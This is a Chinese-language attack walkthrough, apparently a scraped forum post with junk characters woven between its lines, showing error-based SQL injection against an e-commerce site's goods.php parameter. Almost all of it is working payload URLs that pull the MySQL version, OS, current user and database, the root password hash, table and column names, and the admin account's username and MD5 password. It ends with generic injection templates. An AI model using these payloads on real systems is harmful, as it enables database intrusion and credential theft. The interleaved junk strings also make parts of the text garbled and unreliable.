判断版本号
: {9 [, k7 p3 O8 z) J! W) uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% c' w8 ^# P. h+ N0 D; v# j
. i# _0 a% i# S# U0 A9 t; d& E5 R判断系统1 o0 O& T1 z! g; }5 Z* b
^# F0 ^+ ~7 zhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 q, p7 G5 g# N6 j
, u" ^; b1 K3 v( `- K# `8 m( B& ~0 i6 W# _" l1 ~
7 K5 I: z9 j! p
当前 user()) c3 K! n! R. X% E3 J
) k& _3 t" |& `9 g% H' J
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
+ D, K3 \7 `" `0 {2 C2 l5 q( Y. _: S! U" w$ p& A+ M2 ]* i2 m
, I" r7 p5 ]) f6 F
0 T. A! m3 g- x5 ^0 j当前 database()! T6 Z* `$ I* y) u6 T
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 g6 q7 h7 ]# i8 `/ M
% y3 y2 F. Y! F! h1 u- q- K; ^
/ x5 e# H6 _$ c" l% `. j9 Q- ?9 s" @9 L# m! z* \
" K `' `5 s( P$ G
root hash: b8 F. Y/ ~' A& I
; S( A6 `) s* rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( |: R$ i9 K/ {+ Z4 N3 c l k# X2 d5 M. a2 v
8 O1 {' |' n$ f1 _! Y$ Y
; I7 I' D7 h9 u当前 数据库表名
" b* Z4 [8 H1 T4 r* z& D# ]% w+ c" c q: B4 s9 c u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 _2 v# `$ }' ?8 N/ R. m
% m9 I, `* J+ H! f; {! H$ V6 Z! F1 A) e) P' ]% G' I
1 f, |! y& ~7 {当前 数据库 user_name 字段) F6 Z, D4 o# j; e- o9 t% n" `
$ w$ d: Z1 q4 r8 K. w6 A5 _
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%239 l6 @! v+ c' K$ L- M4 ~" E5 O
* P( @, X) ~$ l5 C- K E6 p当前 数据库 字段 password
# ~, E2 |4 K( R* e8 ^http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%234 w+ U" l: m8 t) C+ m
1 g1 a( O& J8 r& o1 } z% }9 K
$ f/ Y$ V( _% |! R, B8 Y; `% G' l% ] v5 x
获得 admin passwd(md5)% l1 Y9 C6 T3 g
# G+ o% p8 G" c' b8 W* j8 n4 _" z) D; w7 M& Z- z; Z
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, N" b. b$ p p- O3 n8 [9 E7 [6 x- u3 P/ ^9 V
报错注射. d$ a" w5 z- @% U0 u3 s
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) `8 C: H/ L( p: ~
& u8 w1 h+ Q4 R% W) d+ n$ X5 L
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
, i, ]5 C. c& W# f; R) v; h# L7 e4 w$ a5 _( k- l. L
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |